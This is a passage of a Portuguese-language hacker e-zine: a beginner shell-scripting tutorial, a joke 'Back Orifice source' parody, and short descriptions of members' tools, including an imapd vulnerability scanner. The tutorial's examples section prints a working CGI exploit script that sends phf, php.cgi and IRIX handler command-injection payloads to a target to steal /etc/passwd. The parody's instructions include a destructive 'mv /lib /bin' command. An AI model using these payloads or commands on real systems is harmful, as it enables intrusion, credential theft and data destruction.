  Shell scripts tem a vantagem de serem mais faceis de se escrever e de se
ler, outra vantagem eh q nao precisam ser compilados. Sao portanto, mais
praticos, mas sao limitados. (nao podemos comparar shell programing com
coding em linguagens de programacao propriamente ditas)
  Como shell scripts sao algo bem facil, tudo oq eu falar aqui tentarei 
dar exemplos para tornar o aprendizado mais facil e auto-explicativo. :)
primeiro devo explicar algumas definicoes basicas, e depois alguns tricks para
tornar seus sh proggies sempre melhores. Mas, como disse, vou comecar do 
basico.. pra todo mundo ter uma chance de aprender.

  .[iNdeX].

 1.: Variaveis
   1.1.: Variaveis, Aplicando
   1.2.: Variaveis, Lendo
 2.: Comandos usuais
 3.: Usando o expr
 4.: Mais comandos
 5.: Usando o test
 6.: Expressoes de condicao
 7.: Some tricks.. and action
   7.1.: Separadores de comandos
   7.2.: Comandos dentro de comandos
   7.3.: loops
 8.: Filtros e mais tricks
 9.: Exemplos
10.: final stuff and blablabla

 Vamos em frente! (obs.:Assume-se aqui que seu sistema operacional eh Linux).

 * 1.: Variaveis

Como toda programacao, por mais basica q seja sempre temos as variaveis..
Uma variavel eh um valor armazenado pelo programa, geralmente ate o seu 
terminio.
claro, a cada variavel podemos atribuir um valor..
ex.:

frase="hi ppl"

experimente digitar isso, e depois digitar:

   $ echo $frase
   hi ppl
   $


 * 1.1.: Variaveis, Aplicando

bom, seguindo essa linha de raciocinio vamos partir pra algo melhor:

#!/bin/sh
#
# ae.. programa test1.sh - comando "ps"
#

ble="1"
clear
echo  Test Proggie
echo Executando: ps $1
echo ""
sleep 1
ps $1
echo ""
echo $ble

um programa ainda muito simples o test1.sh.. ele simplesmente executa o
argumento dado com o ps. por ex.:

$ ./test1.sh -ux
 (primeiro a tela eh limpa, com o comando clear)
 (ae aparece:)

 Test Proggie
Executando: ps -ux

USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND
inth        82  0.0  1.2  1148   584   3 S   21:50   0:00 -bash
inth       120  0.0  1.2  1152   576   3 S   21:56   0:00 -bash
inth       121  2.4  4.3  2668  2056   3 S   21:56   2:10 ./BitchX

1    -> 1 eh o valor da variavel $ble
$

pronto, o programa finaliza. ae, todos ja devem saber que $1 eh o primeiro
argumento dado, $2 o segundo etc.. (e $0 eh o proprio comando)


 * 1.2.: lendo variaveis.. 

pra ler variaveis vc usa read. isso pode ser muito util depois.. usa-se: 
read variavel . lembrando que nao se usa "$" nesse comando! ex.:

#!/bin/sh
# name.sh
#
echo Qual o seu nome?
read nome
echo Falae $nome. Bem vindo.
#end

$ ./name.sh
Qual o seu nome?
inth
Falae inth. Bem vindo.
$

 * 2.: Comandos usuais

agora vamos integrar comandos com nossos scripts, fazendo-os mais interessantes..
obs.: opcoes apresentadas com "<" e ">" sao opcionais

clear : limpa a tela duhh

echo : sintaxe: echo <-n/-e ..> [qualquer shit]
        ahhn todo mundo ja sabe ne.. mostra algo na tela . 
        
read : lendo variaveis.. acabei de mostrar

sleep : sintaxe: sleep [numero] <s/m/h/y...>
        as vezes nao e muito comodo executar varios comandos de uma vez entao..
        pode-se fazer o script "dormir" por um tempo.. se nao for inserido o
        segundo parametro eh adotado o padrao de Segundos.
        
exit : sintaxe: exit [numero]
       sai da shell com o codigo do numero q foi colocado.
       
cat : sintaxe: cat [arquivo]
      basicamente, mostra um arquivo na tela e retorna para a shell.
      veremos sua utilizacao melhor depois.

  well vamos dar um exemplo integrando todos esses comandos agora:

#!/bin/sh
# exemplo1.sh rulz..
clear
echo "QuaLquer tecLa para cOntiuaR, CTRL-C para saiR.." ;read ble
echo "qual o seu nome?"
read name
echo "Bem vindo(a), $name."
echo "aguarde enquanto eu acesso seus dados.. heheh"; sleep 2
echo "mostrando o seu maldito /etc/passwd"
cat /etc/passwd
echo saindo.. ; exit 1


 * 3.: Usando o expr

   Vamos fazer calculos.. o comando expr serve para retornar o valor de uma 
conta.. ex.:

$ expr 2 + 2
4

 o expr suporta: adicao, subtracao, multiplicacao, e divisao por numero 
inteiro e resto. (obs.: NAO faz divisao de numeros com resultado quebrado,
quer dizer, faz mas joga o resto fora..)

$ expr 2 '*' 5
10
$ expr 13 / 2
6
$ expr 13 % 2
1
             ............... .. . . .. .
            .     + = adicao           .
            .     - = subtracao        .
            .     * = multiplicacao    .
            .     / = divisao          .
            .     % = resto            .
            .............. . . .. . .. .


 * 4.: Mais comandos

grep : sintaxe: grep < -.. > [expressao(oes)]
       mostra a(s) linha(s) do comando anterior que coincidam com a linha
       que vc colocou.. veremos esse comando melhor na parte de filtros.

whoami : retorna o seu usuario da shell atual.. simples, mas util..

pwd : heheh

uname : uname -a retorna o seu sistema, isso e util para scripting tb.

wc : no caso, wc -l [arquivo] conta o numero de linhas de um arquivo..
              wc --bytes .. numero de caracteres..
              wc -w .. numero de palavras..

  eu planejei fazer um tutorial de shell programing, se quiser conhecer mais
comandos, compra um bom livro de unix ou pega alguma unix bible por ai.

 * 5.: Usando o test

   bom, acho q agora o negocio deve ficar mais interessante.
o comando test retorna um valor 1 (true) ou 0 (false). Serve para comparar
strings ou valores numericos.
aqui vao as opcoes do comando test.
obs: o test e' muito utilizado junto de expressoes de condicao, q veremos a
seguir.

................................................... .. . . ... . . .. . ... .
'  Flags   Valor retornado                                                  '
.                                                                           .
.  -eq     true, se os numeros forem iguais                                 .
.  -ne     true, se os numeros nao forem iguais                             .
.  -gt     true, se o primeiro numero eh maior do que o segundo numero      .
.  -ge     true, se o primeiro numero eh maior ou igual ao segundo numero   .
.  -le     true, se o primeiro numero eh menor ou igual ao segundo numero   .
.  -lt     true, se o primeiro numero eh menor do que o segundo numero      .
`................................................... .  ... . .. . . ... .. .'

entao.. no test, vc pode usar comparacoes de qualquer comando q retorne
valor numerico, no caso o expr..
ex.:
test `expr 21 % 10` -eq 5
test `1 + 1` -eq 2

o resto da divisao de 21 por 10 e' igual a 5? nao, entao o valor retornado
eh false.
na segunda expressao o valor eh verdadeiro.

  para comparar certos strings vc pode usar '=' ou '!='
ex.:
test Inth != inth
test Inth = inth

o primeiro teste e' verdadeiro; o segundo, falso.
mais flags..
vou mostrar mais flags de comparacao agora, ai vao varias, e o significado
delas, algumas tirei de uns livros de unix. aprofunde-se mais se quiser.

................................................... .. . .. ... . . .. . ... .. .
'  Flags   Valor retornado                                                     '
.                                                                              .
.  -G      true, se o arquivo existe e eh propriedade do mesmo grupo q possui  .
.          o processo.                                                         .
.                                                                              .
.  -O      true, se o arquivo existe e eh propriedade do mesmo usuario que     .
.          possui o processo.                                                  .
.                                                                              .
.  -L      true, se o arquivo existe e eh um vinculo simbolico com outro       .
.          arquivo ("link").                                                   .
.                                                                              .
.  -b      true, se o arquivo existe e eh um simbolo identificando um          .
.          dispositivo fisico usado para entrada e saida em grandes grupos     .
.          de dados, um disco rigido.                                          .
.                                                                              .
.  -c      true, se o arquivo existe e eh um simbolo identificando um          .
.          dispositivo fisico usado para entrada e saida em caracteres unicos, .
.          como um terminal.                                                   .
.                                                                              .
.  -d      true, se oa rquivo eh um diretorio.                                 .
.                                                                              .
.  -f      true, se o arquivo existe e eh regular.                             .
.                                                                              .
.  -g      true, se o arquivo existe e eh executado em um grupo especifico.    .
.                                                                              .
.  -s      true, se o arquivo existe e tem dados.                              .
.                                                                              .
.  -u      true, se o arquivo existe e eh executado como um usuario            .
.          especifico.                                                         .
.                                                                              .
.  -w      true, se o arquivo existe e pode ser escrito.                       .
.                                                                              .
.  -x      true, se o arquivo existe e.. advinha.. pode ser executado heheh.   .
`.......................................... . .. .... ..... .. . . ... . .. ....'

 tentei colocar soh as flags mais usuais, soh oq pode nos interessar.

ex.:
 test -d $HOME/test
    verifica se existe o diretorio "test" no seu ~/ (/home/seu_user).

 test -f /etc/profile
    testa se /etc/profile existe, e eh um arquivo regular.

e por ai vai.. 
PS: o test eh muito usado com as expressoes de condicao.

 * 6.: Expressoes de condicao

   agora sim! vamos fazer programas mais decentes..
afinal oq seriam dos nossos scripts sem expressoes de condicao? ;)
Para testar condicoes temos o if/else e o case.
vou logo explicar o case bem rapido pois o if com certeza sera' mais
interessante.

- CASE: o case funciona tipo um menu de escolhas, coisa desse tipo..
        eh muito simples. ele pega uma condicao de uma variavel qualquer, e
        dependendo do seu valor, executa o(s) comando(s) especificado(s) pra 
        aquele valor (um numero ou letra por exemplo).

hmm vejamos logo a sintaxe:

case variavel in

1) comando1 ;
   comando2 ;;
2) comando1 ;
   comando2 ;
   comando3 ;;
*) comando ;;
esac

muito simples.. ai vai um exemplo

#!/bin/sh
#
# choice.sh - escolha entre dar um pwd, ls ou whoami
#
case $1 in

1) echo "vamos dar um pwd.." ;
   pwd ;;
2) echo "vamos dar um ls.." ;
   ls ;;
3) echo "who am I?" ;
   whoami ;;
*) echo "opcao invalida.. escolha 1, 2 ou 3." ;
   exit 0 ;;
esac
# EOF

 prontito.. 

- IF: o if e' a expressao condicional mais utilizada, e vai dar uma riqueza
      maior aos seus programas.
      usa-se:

          if
            condicoes
          then
            comandos
          fi

vamos ao exemplo.

#!/bin/sh
#
# if.sh - verifica se existe o arquivo 'core' e o apaga..
#

if [ -f core ]  ( verificando se o arquivo existe )
  then
    echo "o arquivo core existe."            (bloco de comandos..)
    echo "tamanho: `wc -c core | awk '{print $1}'` bytes." (veremos isso
                                                             depois)
    echo "excluindo.."
    rm core
    echo "ok."
    exit 1;                                 (fim do bloco de comandos e exit)
else
    echo "o arquivo core nao existe."      ( se nao existe ...)
    echo "saindo.."
    exit 0;                                 (fim)

fi                                          (fim da condicao)
# EOF

  - pergunta: como faco pra tipo mostrar uma mensagem de erro no caso de nao
 terem sido dados todos os argumentos?
  - resposta: vc pode usar tanto o if como o case.
     por exemplo se seu programa precisa de 3 argumentos:
 
  usando case:
 
     case "$3" in
       "")
     echo ""
     echo programinha by me .. ;
     echo  usage: $0 bla bla bla;;
     esac
 
  usando if:
 
    if [ "$3" = "" ]
     then
     echo programinha by me ..
     echo usage: $0 bla bla bla
     fi

 moleza! :)

 * 7.: Some tricks.. and action

    Com o conhecimento das condicoes, como o if/else, os programas tornam-se
melhores, mais bem feitos, mas agora mostrarei coisas praticas que influirao
muito nos seus sh scripts.

 * 7.1.: Separadores de comandos

 geralmente usa-se ";" ou "|" para se separar comandos.

a diferenca entre os dois simbolos e' que o ponto-e-virgula ";" executa um
comando depois q o outro foi finalizado. ex.:

$ ls ; pwd
BitchX.doc           crk*                 notes
HELP                 land.c               notes.txt
Notes                my-first-script.sh*
/home/asshole
$

ja o "|" executa cada comando como um processo separado, e geralmente eh
utilizado para integrar esses comandos. ex.:

$ ls
BitchX.doc           crk*                 notes
HELP                 land.c               notes.txt
Notes                my-first-script.sh*
$
agora:
$ ls | grep note
notes
notes.txt
$

ex2.:
$ cat /etc/passwd |grep root
operator:x:11:0:operator:/root:/bin/bash
root:x:0:0::/root:/bin/bash
$
  e eh isso ai, esses sao os mais usuais.

 * 7.2.: Comandos dentro de comandos

 isso eh muito interessante.. e simples.
ja coloquei um exemplo aqui mesmo q usou isso.. esta na secao 6, aquele
exemplo q remove o core. Tem uma linha assim:

  echo "tamanho: `wc -c core | awk '{print $1}'` bytes."

parece complicado, mas nao eh. note nas `
sao essas ` ` q fazem a magica toda.. 
vc simplesmente vai colocar um ou mais comandos dentro do comando atual.
experimente digitar:

# echo user: `whoami`
user: root
#

 * 7.3.: loops

k, loops.. um loop consiste de modo geral em executar uma instrucao ou um ou
mais comandos continuamente dentro de uma condicao, ate q essa nao seja mais
valida.
vamos ver os dois tipos for , e while
vamos ao simples esquema de sintaxes..

         ......w.h.i.l.e.......        ........f.o.r.......
         .                    .        .                  .
         . while              .        . for var in list  .
         .    [ condicao ]    .        . do               .
         . do                 .        .    comandos      .
         .    comandos        .        . done             .
         . done               .        .                  .
         ......................        ...................,

digamos q eu quero fazer um programa q conta de 1 a 5.
posso entao usar o loop "for":

#!/bin/sh
# count1-5.sh - contando de 1 a 5 usando for

count=0
echo " "
echo ". Counter . de 1 a 5"
echo " "
echo "pressione qualquer tecla para continuar..."
read shit
for counter in 1 2 3 4 5
do
  echo $counter
done
# EOF

este simple exemplo mostra 1, depois 2, depois 3, 4 , 5.
agora suponhamos q vc quer contar de 1 a 100. nao eh muito interessante fazer
isso usando "for":

 ex.: for counter in 1 2 3 4 5 6 7 8 9 10 (...) ...98 99 100

 pra isso eh q temos o while!:)
 vamos ver um exemplo de script q conta de 1 a 100:

#!/bin/sh
# count1-100.sh - contando de 1 a 100 usando while

count=0
echo " "
echo ". Counter . de 1 a 100"
echo " "
echo "pressiona qualquer merda ai pra a gente continuar"
read junk
while
   [ $count -lt 101 ]
do
   echo $count
   count=`expr $count + 1`
done

# end of file

 * 8.: Filtros e mais tricks

    esta secao se inicia mostrando a vc poderosos filtros do unix, depois
vao mais tricks. tb vou colocar mais exemplos para haver um entendimento mais
logico e claro do q foi explicado.

 - grep: sintaxe, aplicacoes

  grep vem de "get regular expression". Funciona como um filtro q mostra a
expressao (palavra, ou frase por ex.) destacada no comando. O grep tem
variacoes, como o egrep.

uso:	grep <-c/-i/-l/-n/-s/-v> [expressao] [arquivo(s)]

       -c : faz contagem das linhas q correspondem com a expressao.
       -i : nao diferencia a altura das letras.
       -l : sei nao
       -n : mostra o numero das linhas.
       -s : omite mensagens de erro.
       -v : mostra todas as linhas menos a q contem a expressao.

entre essas tem outras opcoes mas essas ai sao as mais uteis..
exemplos:
# grep root /etc/passwd
# cat /etc/passwd | grep root


 - awk: enriquecendo seus programas

 o awk pode filtrar comandos retornando apenas o resultado desejado. a forma
basica de utiliza-lo eh:

  awk '{ instrucoes }'  (a instrucao mais utilizada eh print)

flags:
.:  -f bla    ==  instrucoes devem ser lidas do arquivo bla                 :.
.:  -Fs       ==  letra "s" deve ser interpretada como separador de campos  :.

Basicamente a flag -f nem precisa ser usada, no caso de querermos colocar
varias instrucoes, nem precisamos chama-las de um arquivo, podemos separa-las
por ponto-e-virgula.
Ja a flag -F eh importante em alguns casos. Veremos isso logo, logo.

Vamos entao aplicar a utilidade do awk:

$ ls -l | awk '{ print }'
-rwxr-xr-x   1 root     root        69821 Nov 14 05:11 bla*
-rwxr-xr-x   1 root     root        81414 Nov 14 05:09 bla~*
-rw-r--r--   1 inth     users      119560 Nov 14 02:43 bua.txt

agora:

$ ls -l | awk '{ print "arquivo/diretorio " $9 " pertence ao user " $3 ", 
grupo " $4 " " }'
arquivo/diretorio bla* pertence ao user root, grupo root
arquivo/diretorio bla~* pertence ao user root, grupo root
arquivo/diretorio bua.txt pertence ao user inth, grupo users

 simples e eficaz.
mais ex.:
$ who | awk '{ print }'
root     tty1     Nov 17 11:16
lynx     ttypf    Dec  3 10:40 (brandon.magicnet)
root     ttyq3    Dec  2 19:31 (ppp1.provider.ne)
irc      ttyq5    Dec  3 20:42 (www.bots.org)
inth     ttyqd    Dec  3 20:51 (200.253.184.162)
$
 
  agora:
$ who | awk '{ print "login: "  $1 " - terminal: " $2 " - login time: " $5 }'
login: root - terminal: tty1 - login time: 11:16
login: lynx - terminal: ttypf - login time: 10:40
login: root - terminal: ttyq3 - login time: 19:31
login: irc - terminal: ttyq5 - login time: 20:42
login: inth - terminal: ttyqd - login time: 20:51
$

 vamos agora praticar o awk com sua flag -F. seu uso sera demonstrado no
arquivo /etc/passwd, ja q os argumentos nele sao separados por ":"
veja um ex.:

$ cat /etc/passwd
halt:x:7:0:halt:/sbin:/sbin/halt
operator:x:11:0:operator:/root:/bin/bash
root:x:0:0::/root:/bin/bash
bla::1234:123:bla ble:/usr/ble:/bin/csh
ftp:x:404:1::/home/ftp:/bin/bash
daemon:x:2:2:daemon:/sbin:
games:x:12:100:games:/usr/games:
inth:x:1000:100:null interruption,,,:/home/inth:/bin/bash

  agora tente:

$ cat /etc/passwd | awk -F: '{ print $1 " usa a shell: " $7 }'
halt usa a shell: /sbin/halt
operator usa a shell: /bin/bash
root usa a shell: /bin/bash
bla usa a shell: /bin/csh
(...)

  o awk tb tem condicoes! veja esse ex. q checa logins sem senha no passwd:

$ cat /etc/passwd | awk -F: '{ if ($2 == "") print $1 " nao tem senha." }'
bla nao tem senha.
joaozinho nao tem senha.
mariazinha nao tem senha.
$

 ok, eu expliquei o basico.. agora em conjunto com outros comandos vc pode
desenvolver uma linha de raciocinio para aplicacao do awk, e do grep tb.

 -.- besteiras adicionais

isso e so pra completar essa parte, vou mostrar como se fazer algumas
coisas com shell programing, se ligue tb q depois tem varios exemplos..

- filtro cut

 o cut eh pra extrair determinadas informacoes de um arquivo de entrada.
 vc usa -d com o caractere que representa um espaco (como no awk). Por ex.,
 no /etc/passwd usa-se ":" .
 a opcao -f serve pra indicacao de quais partes serao "recortadas".
 ex.1: mostrando os logins e nomes dos users:

 # cat /etc/passwd | cut -d":" -f1,5
 halt:halt
 operator:operator
 root:
 games:games
 yeah:podes cre,,,
 nobody:nobody
 inth:null interruption,,,
 (...)

 ex.2: mostrando um endereco resolvido (com o nslookup)
 
 # nslookup 200.253.184.13 | grep Name | cut -d":" -f2
     baydeh-12.baydenet.com.br
 #
  rulz! ;)
  eu pessoalmente gosto mais do cut do q do awk :)
  sei la, acho o cut mais simples.. soh e' um pouco mais limitado.

- usando o tput

  depdendendo da capacidade de exibicao do terminal, o tput eh muito bom para
"embelezar" seus programas. com o tput vc pode fazer efeitos como piscar o
texto, colocar bold, etc.
  o jeito mais pratico de utiliza-lo eh armazenando cada tipo numa variavel, e
depois colocando as variaveis onde desejado. ex.:
#!/bin/sh
bold=`tput bold`
clear=`tput clear`
tira=`tput rmso`
pisca=`tput blink`
echo -e "Seu user eh: ${bold}`whoami`${tira}, vc ja sabia disso?"
#
  tput bold : coloca negrito.
  tput clear: limpa a tela.
  tput blink: faz a expressao piscar.
  tput rmso: tira o codigo anterior.

se vc colocar um `tput bold` por ex., vc tem q tirar o codigo com um 
`tput rmso` depois da area "marcada".. ta bom. chega.

- opcoes do comando echo

  soh para esclarescer melhor, vc pode achar coisas estranhas em alguns
scripts, entao vamos conhecer melhor as principais opcoes do comando echo.

.[ -n : ao inves de ir para a prox. linha, continua echoando na mesma linha. ].
.[ -e : ativa a interpretacao de varios strings. veja as principais: ].

           \a     alert (bell) - da um "beep"
           \b     backspace
           \c     omite a nova linha.
           \n     pula uma nova linha.
           \t     retorna o equivalente a um "tab".
           \v     tab vertical, ele pula pra a proxima linha e ai da um tab.
           \\     mostra um \ na tela.
           \nnn   numero eh convertido para simbolo ascii. (simplesmente usa
                  \numero). ex.: \052 eh um "*", \056 eh um "." ..

  ex.:
echo -e atencao!'\a'
echo -e proggie by me'\n'pressione enter;read dumb


 * 9.: Exemplos
Voce pode estar meio confuso sobre como utilizar todo o conhecimento dado,
entao agora vc vai ver varios exemplos de coisas bem interessantes q se pode
fazer. 

  - exemplo 1: checa e exploita alguns bugs de cgi no host dado.
    autor: inth

  ---- snip sinp ----

#!/bin/sh
# cgi checker/exploiter by inth <inth@linuxbr.com.br>
# this script will search for some cgi bugs on the specified host.
# hehe this is pretty lame i know..
# you may add more cgi bugz that you know too.

bold=`tput bold`
nope=`tput rmso`
blink=`tput blink`

phf="/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd"  # dummie phf =)
php="/cgi-bin/php.cgi?/etc/passwd" # haha php sucks
  # IRIX handler
handler="/cgi-bin/handler/heheinth;cat  /etc/passwd/|   ?data=Download"
  # NT (frontpage) _vti_pvt bug - ok u can try this manually.
  # fp="/_vti_pvt/service.pwd"

case $1 in
"")
  echo "${bold}.${nope}[cgi check/exploit]${bold}.$nope v1.0 : by inth";
  echo "${bold}u${nope}sage: $0 <hostname/ip>";
  exit 0; ;;
esac

if [ $1 != "" ];then
  echo "${bold}.${nope}[cgi check/exploit]${bold}.$nope v1.0 : by inth"
  echo "${bold}c${nope}hecking cgi bugs on: $1"
  lynx -dump http://$1$phf > $1.phf
  lynx -dump http://$1$php > $1.php
  sleep 1
  lynx -dump http://$1$handler > $1.han
  sleep 1
  echo "end of check.. now checking for results."
  if cat $1.phf |grep root:
    then echo "got possible passwd with phf"
         mv $1.phf $1.phf_pw; echo "result saved in: $1.phf_pw"
  if cat $1.php |grep root:
    then echo "got possible passwd with php"
         mv $1.php $1.php_pw; echo "result saved in: $1.php_pw"
  if cat $1.han |grep root:
     then echo "got possible passwd with handler"
          mv $1.han $1.handler_pw; echo "result saved in: $1.handler_pw"
      echo "now go check the *.*pw philes ;)"
      fi
     fi
   fi
fi
rm *.han *.php *.phf >/dev/null 2>/dev/null

  ---- snip snip ----

  - exemplo 2: grabserver.sh by tOneOne - mostra qual o httpd do host dado..
               ta atachado no zine.. :)

  - exemplo 3: nao sei mais nem o que colocar aqui..


 * 10.: final stuff and blablabla

  Cansei ja e tal.. :)
Quero deixar claro aqui q esse tutorial eh muito basico, eh dedicado
principalmente aos q ainda estao se acostumando com a plataforma dos nixes,
mais especificamente Linux, soh dei nocoes basicas de shell scripting, entao
se quer aprender mais sobre, compra um livro de unix..

vou deixar a ultima observacao, bem rapido, uma coisa q eu esqueci (eu sabia
ter esquecido algo =), eh sobre os simbolos "<" e ">" (input/output)..
vou explicar rapidinho, o > serve pra usar o arquivo especificado como
output, ao inves da tela:
 echo "bla bla" >ble
vai echoar "bla bla" no arquivo ble, destruindo dados, se o arquivo ja
existia. ja se eu usar >> ao inves de soh uma >, ele vai apenas adicionar a
linha sem destruir nada..
 colocando um arquivo dentro do outro:
 serve pra vc colocar um arquivo .c dentro de um .sh por exemplo, ai fazer
como se fosse um script de instalacao..
ex.:
 cat > bla.c <<'EOF'
  #include (...)
  hehauiheih
  (...)
 EOF
cc -O2 bla.c -o bla
(...)
 a linha EOF determina o fim do arquivo 'bla.c', continuando entao o script..

  fim da obs..

   agora eh o seguinte.. o melhor jeito de se aprender shell scripting (e
isso vale pra qualquer linguagem de programacao tb!) eh olhando exemplos,
tentando compreender cada linha. no caso de sh scripting, vc vai olhando
cada linha, e se tem algum comando q vc nao conhece, tente:
 comando --help
 tente tb:
 man comando

Assim vc aprendera pra q serve o comando, e podera compreender o script..
E com o tempo c vai aprendendo :)
 - finalizandoooo
Bom to acabando por aqui, gostaria q me enviassem e-mails com suas duvidas,
e com criticas/elogios a essa materia, se gostarem e tal escreverei mais
materias..
   eh isso ai dude, learn and create yer own t3kn33kz!

                                                                      inth


 Ŀ 
( 07 ) Source code do BO!!! 
 
   Ĵ  By BLAcK MaSK  `
     


Ola's pple. No zine #09 do NearZ, saiu um mail dum 'leitor revoltado'
conosco e, que nos criticava muito. Bom, o hack0 pedia pros caras da
NZ hackearem a nossa home page e tal. Mas, por que ele mesmo nao faz
isso? Seu nivel era tao l33t que chegou a pedir o source code do BO.
Entao.. eu resolvi coloca-lo aki para que akela crianca possa se di-
vertir um poukim mais.


Post Script: Pple of NZ, desculpem pelo plagio. d:p


#include <stdio.h>    // STandarD Idiot/Obnoxious Head

#define leet_port	31337
#define you_as_a	m0r0n

int your_brain = 0, stupidity = 100, pea;

main()
{

	for (loaded_once; stop_kidz; ++memory_used) 
	{	
		puts("BO is a product of the cDc! Mooooo");
		make_a_big_mess_in_windowz_registry();
		--memory_avaible;
	}


	init_play();
	select_target();
	select_weapon();
	use(leet_port);
	click_send();
	play_again();
	change_background_picture();
	text4.txt = "Hi, jerk! Who the hell are you?" // No, this shit isn't VB! :)
	scanf("%c", &your_msg);
	system_dialog(your_msg);			
	make_the_other_side_an_idiot();
	make_you_think_you_are_a_hacker();
	change_toy();
	now_close_all_windows();
	create_1000_directories();
	kill_windowz_explorer();
	send_a_fake_gpf();
	change_background_picture();
	show_the_ugly_faces_of_the_cDc_members();	
	play_again();
	replace_file_command_com(virus);
	keylog_begin();
	catch_the_leet_passwords_of_word97_docs();
	kernel_panic();
	ram /= 2;
	print_the_blue_screen_of_death();
	keylog_end();
	system_lookup();		
	tell_all_your_irc_friends();

	while (you == idiot || your_brain <= pea)
	{	
		play_a_lot_with_bo();
		your_brain--;
		goto line_3; // No, it isn't basica again!
	}

	click_exit();
	keep_the_socket_busy();

	return desktop;


/*	Instructions on compilation


1 - Now, you must go to you linux. (sorry, you can't use dos djgpp. i don't permit.)
2 - Use your gCC teknEEqs. (e.g. %gcc -o bo bo.c)
3 - Ignore msg errors of compiler. (you know more than it!)
4 - Run it. (./bo victim-ip port ; mv /lib /bin)
5 - Be lamer 4ever!

*/

}
                                                               BLAcK MaSK


 Ŀ 
( 08 ) Sources   . 
 '  

As materias que eram baseadas no source de algum programa foram colocadas
nesta secao, para facilitar a consulta e tal...

Os sources dos programas explicados a seguir estao no diretorio sources/ do 
zine.


 Ŀ 
(8.1) FKERNEL          . 
 Ĵ  
   Ĵ  By sOurce      `
     

=== intro
---------
	Ae, tipow, fiz o Fast Kernel, pois muitas pessoas ainda tem
dificuldade de (re)compilar o seu kernel! O que 90% dos usuarios de linux
acham SUX.. Tipow, eu tenho um P. 133Mhz, 48m de RAM,o kernel 2.0.35 levou
exatamente 43 minutos pra compilar aqui. Na casa de um amigo meu, mesmo
linux, mesmas coisas, levou 1h 25m, ele tem um P. 100Mhz e 16m de RAM. Entao
tirei a conclusao que isso depende muito de seu equipamento... Estja
preparado psicologicamente ;).
	Tipow, nao vou dar um introducao ao kernel do linux, pois nao sei
muito sobre isso, mas leia uns manuais por ae, que vc pega rapidinho uma
nocao basica sobre kernel`s e tal.. Coloquei umas url`s legais logo abaixo:
(relacionadas a perguntas e howto`s, ou coisas desse tipo...)

* http://linux-howto.com (try out!)
* http://www.linux.org
* http://www.netdados.com.br/tlm (try out!)

=== himself
-----------
	Okay, Fast Kernel eh um shell script. Tentei organizar o maximo que
pude(mas ainda tah meio ... ;), voce pode ver, que eh um "codigo" simples,
coisa facil. O que basicamente ele faz, esta no The Linux Manual(url acima),
ou seja, soh fiz pegar os comandos, e implementar.

=== executando
--------------
	Voce DEVE executar o comando(leia o install.sh) no diretorio do
kernel, pois, senao, como ele ira compilar? ;) Ele eh soh um script, nao eh
magico. Basta ir seguindo as opcoes. Ele ira fazer 2 perguntas:
1- Modo grafico ou texto? `s` para grafico e `n` para texto
2- Reiniciar o computador? `s` para sim e `n` para nao!

=== history
-----------
	O history file do FK:
* v1.2: (primeiro release publico)
  - adicionado suporte a log
  - adicionado menuconfig(configuracao grafica)
  - adicionada a opcao "vc deseja reiniciar..."

* v1.1: (soh para os amigos ;)
  - adicionado $dir, para qualquer versao do kernel(ou qquer dir, ;)
  - adicionado backup do vmlinux
  - cor, estava monotono ;)

* v1.0: 
  - primeira versao...

=== package
-----------
	O arquivo fk12.tgz, estah anexado ao zine.
	Aqui vai a descricao dos arquivos contidos:
* FKERNEL - shell script/"executavel"
* install.sh - arquivo de instalacao do FK
* README - leiame do programa

										sOurce


 Ŀ 
(8.2) Looper           . 
 Ĵ  
   Ĵ  By tOneOne     `
     

Partindo da necessidade de deixar um programa rodando varias vezes em uma
shell, eu resolvi criar esse pequeno programa, que nada mais faz do que
executar o mesmo comando varias vezes, um seguido do outro, ou seja quando
o programa acaba de ser executado, ele executa-o outra vez.

Pra fazer o "loop" eu usi a funcao while da shell, ou seja enquanto uma
condicao for verdadeira ele executa o comando. E nessa condicao acrescentei
um contador(Variavel de controle).

E pra fazer o loop infinito eu apenas fiz uma condicao tipo essa:
Enquanto 10 for maior que 9 faca...
Entao ele executara o comando infinitamente, pois 10 sempre sera maior que 9
;)

Todas as instrucoes estao no help do proprio programa.

OBS: Nao esqueca do chmod +x ;)

                                                                  [tOneOne]


 Ŀ 
(8.3) Grabserver       . 
 Ĵ  
   Ĵ  By tOneOne     `
     

Um dia desses navegando pela net, me deparei com uma pagina simples que tinha
um CGI usado pra ver qual HTTPd certo domain estava usando... e foi ai que eu
tive a ideia de fazeu rum programa tipo esse so que portado pra UNIX.

Um jeito facil que eu achei de faze-lo foi usando o NetCat pra fazer o query
do HTTP, assim conseguindo "grabear" a versao do HTTPd.

O grabserver esta no diretorio /sources do zine. Para instala-lo basta
escrever ./install, e se tudo ocorrer bem, pra rodar o programa eh so digitar
./grabserver, maiores detalhes estao no help do programa.

PS: O NetCat ta compilado pra Linux Red Hat, podendo assim causar algum 
    problema quando rodado em outros sistemas. Pra pegar o source dele, va em
    astalavista.box.sk ;)

                                                                  [tOneOne]

 Ŀ 
(8.4) Imapd Scanner    . 
 Ĵ  
   Ĵ  By sOurce      `
     
Imapd Scanner(aka IMC)

=== intro
---------
     Hello kidz, vc jah deve saber que o bug do Imapd nao eh uma coisa
nova.. Entao eu e o tOneOne fizemos um simples script de shell, que checka
por varios hosts, listados em um arquivo. Caso ele ache a porta do IMAPD
ABERTA, ele ira avisa: POSSIVELMENTE VULNERAVEL. Ou seja, ele checka por
hosts que rodam imapd... Mas a maioria desses hosts, jah devem tah
patchados, mas vale a pena tentar ;)... 
     Comparado a outros scanners, o nosso, nao passa de um portscan de
terceira classe, disfarcado em uma shell.. Duh! Eh muito devagar. Entao, se
voce queiser um mais eficaz, espere que alguem escreva um, ou entao vah
atras! Hm, o BLAcK MaSK deu umas sugestoes do tipo:
 * Pq nao colocar o QUESO, pra saber se o sistema nao roda um Windows NT ou
coisa assim, pra facilitar e ficar mais rapido.
 * Deveria ser escrito em C.
     Entao avaliei, eh melhor nao lancar uma coisa sem qualidade.. Mas, o
que damos aqui eh de "Educational Pruporses Only"! Huauhah, whatever...

=== outros
----------
     Como eh um shell script, coloquei um portscanner que tah rodando pela
net faz tempo... Eh coisa simples, somente pra checkar.

=== know bugs
-------------
     Isso nao eh um bug, mas uma consequencia. Alguns hosts, dao timeout,
fazendo o script se atrasar muito! As vezes, nem completando o scan. Isso eh
realmente uma falha sux0r.. Caso voce saiba como reverter esse "fator",
manda um mail.

=== tipz
--------
     Bem, aqui eu IA dar umas diquinhas de uso e tal. Vou falar uma coisa,
va na altavista, e faca a festa.

